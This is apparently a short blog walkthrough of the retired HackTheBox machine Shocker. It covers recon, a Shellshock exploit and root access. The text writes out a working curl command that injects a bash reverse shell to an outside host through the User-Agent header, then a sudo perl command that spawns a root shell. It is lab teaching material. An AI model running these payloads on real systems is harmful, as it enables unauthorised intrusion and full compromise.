Home Shocker - HackTheBox Walkthrough
Post
Cancel

Shocker - HackTheBox Walkthrough

Hello guys, welcome back to another walkthrough, this time we’ll be doing Shocker a retired machine by HackTheBox. Without further ado, let’s begin.

Recon

Nmap

As always, we’ll start with a nmap scan to discover the open ports and services.

01-nmap

The ports 80 and 2222 are open.

Port 80

Let’s see the web.

02-webpage

The web page not give us much information, therefore, we’ll run gobuster to find any accessible directory.

03-gobuster

Initial Foothold

We see in the screenshot above the /cgi-bin/ directory, this directory always reminds me to the Shellshock attack. Running gobuster again to know the file and its extension.

04-gobuster

With a listening port and executing the command below, we can get a reverse shell.

1
$ curl -H "User-Agent: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.31/443 0>&1" http://10.129.230.133/cgi-bin/user.sh

05-shellshock

Privilage Escalation

As we see in the screenshot below, we can execute perl like root without password.

1
$ sudo /usr/bin/perl -e 'exec "/bin/sh";'

06-sudo

We are root!!! That’s it for now guys. Until next time.

This post is licensed under CC BY 4.0 by the author.